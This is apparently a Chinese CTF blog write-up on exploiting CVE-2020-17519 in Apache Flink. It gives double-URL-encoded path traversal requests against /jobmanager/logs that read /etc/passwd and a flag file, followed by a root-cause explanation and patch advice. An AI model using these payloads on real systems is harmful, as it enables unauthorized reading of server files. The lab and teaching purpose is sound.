CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析
CTF题目:Apache Flink目录遍历漏洞实战及CVE-2020-17519漏洞分析
漏洞背景
CVE-2020-17519是Apache Flink 1.11.0-1.11.2版本中的高危目录遍历漏洞。攻击者可通过构造恶意路径遍历读取服务器任意文件,本文将详细演示漏洞利用过程。
环境搭建
- 靶机环境:Apache Flink Dashboard (1.11.0)
- 测试工具:BurpSuite Community 2023
- 漏洞入口:
Job Manager
功能模块(日志文件接口)
漏洞复现步骤
1. 发现漏洞入口
访问Flink Dashboard的Job Manager
功能,Burp捕获请求:
GET /jobmanager/logs/ HTTP/1.1
Host: d25db443-a7db-44ea-986a-f48afb33bc23-2700.cyberstrikelab.com:83
2. 构造路径遍历Payload
尝试直接读取/etc/passwd
失败:
GET /jobmanager/logs/../../../../../../etc/passwd HTTP/1.1
绕过方案:
使用双重URL编码绕过路径过滤:
..%252f
→ 第一次解码:..%2f
→ 第二次解码:../
- 12级跳转回到根目录:
..%252f
× 12
最终Payload:
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd HTTP/1.1
3. 成功读取系统文件
响应返回/etc/passwd
内容:
root:x:0:0:root:/root:/bin/bash
flink:x:1000:1000::/opt/flink:/bin/sh # 关键信息!
发现用户flink
及其主目录/opt/flink
,推测flag可能位于此路径。
深度利用:定位flag文件
策略思路
- 优先级1:用户目录常见位置
/opt/flink/flag
/opt/flink/flag.txt
- 优先级2:临时目录
/tmp/flag
/tmp/flag.txt
- 优先级3:配置文件与日志
/opt/flink/conf/flink-conf.yaml
(分析无敏感信息)/opt/flink/log/*.log
成功获取flag
在尝试读取/tmp/flag.txt
时成功:
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fflag.txt HTTP/1.1
响应内容:
备注:截图中的Host是第一次成功时候的截图,之前的截图是写博客复现重新开启的靶机。(因为靶机域名是随机生成)
漏洞原理分析
-
根本原因:
Flink未对jobmanager/logs
接口的路径参数做规范化校验,导致..%252f
被双重解码为../
。 -
绕过关键:
防御层通常过滤../
但忽略双重编码场景,%252f
的两次解码过程:
修复建议
- 升级到Flink ≥1.11.3 或 ≥1.12.0
- 在代码层添加路径规范化检查:
Paths.get(userInput).normalize().toString()
总结
通过本次实战我们掌握:
- 目录遍历漏洞的双重编码绕过技巧
- 系统敏感文件定位思路(/etc/passwd → 用户目录 → 临时文件)
- CVE-2020-17519的完整利用链
漏洞修复补丁:FLINK-21436
该博客结构清晰覆盖漏洞复现全流程,既适合CTF初学者理解漏洞原理,也为安全研究人员提供深度利用思路。如需补充截图或调整技术细节,可随时告知。